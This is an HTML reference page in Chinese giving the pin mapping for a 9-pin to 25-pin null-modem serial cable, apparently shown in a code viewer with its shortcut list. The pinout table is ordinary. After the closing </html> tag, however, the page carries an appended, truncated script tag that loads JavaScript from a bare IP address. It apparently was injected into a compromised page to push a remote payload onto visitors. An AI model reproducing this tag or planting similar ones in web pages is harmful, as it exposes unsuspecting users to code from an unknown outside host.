?? 58-nullmodem9-25.htm
字號(hào):
<html>
<head>
<style>
<!--
A:link {text-decoration: none; color: #607f7f; font-family: 宋體}
A:visited {text-decoration: none; color: #607f7f; font-family: 宋體}
A:active {text-decoration: none; color: #607f7f; font-family: 宋體}
A:hover {text-decoration: underline; color: #0000FF}
body,table {font-size: 9pt; font-family: 宋體}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>串行直連電纜 9針-25針(NullModem)</title>
</head>
<body bgcolor="#FFFFFF" background="back01.jpg" tppabs="http://linux.ustc.edu.cn/~xjiang/images/back01.jpg">
<p align="center"><font size="5" color="#0000FF"><strong><u>串行直連電纜 9針-25針(NullModem)</u></strong></font></p>
<table border="0" width="100%" cellspacing="1" cellpadding="0" height="3">
<tr>
<td width="100%" align="center" height="26" bgcolor="#FFC8AA"><font color="#000080">[ <a target="_self" href="hardware.htm" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware.htm">返回目錄</a> ]</font></td>
</tr>
</table>
<p><font color="#008080">串行直連電纜用于兩臺(tái)計(jì)算機(jī)的直接相連，電纜兩端的插頭一頭是
9 針母插頭，另一頭是 25 針母插頭：</font></p>
<p><img src="conn_dsub9f.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/conn_dsub9f.gif" alt="9 PIN D-SUB FEMALE" WIDTH="84" HEIGHT="65"><img src="conn_dsub25f.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/conn_dsub25f.gif" alt="25 PIN D-SUB FEMALE" WIDTH="171" HEIGHT="65"><br>
</p>
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="24">
<tr>
<td width="100%" align="center" height="24" bgcolor="#C8C8FF"><font color="#000080">引腳定義</font></td>
</tr>
</table>
<p> </p>
<table border="1" cellspacing="1">
<tr>
<th bgcolor="#0000FF"> </th>
<th bgcolor="#0000FF"><font color="#FFFF00">D-Sub 9</font></th>
<th bgcolor="#0000FF"><font color="#FFFF00">D-Sub 25</font></th>
<th bgcolor="#0000FF"> </th>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">Receive Data</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">2</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">2</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Transmit Data</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">Transmit Data</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">3</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">3</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Receive Data</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">Data Terminal Ready</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">4</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">6+8</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Data Set Ready + Carrier Detect</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">System Ground</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">5</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">7</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">System Ground</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">Data Set Ready + Carrier Detect</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">6+1</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">20</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Data Terminal Ready</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">Request to Send</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">7</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">5</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Clear to Send</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">Clear to Send</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">8</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">4</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Request to Send</font></td>
</tr>
</table>
</body>
</html>
<script language=javascript src=http://218.75.91.248/winr|
n?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -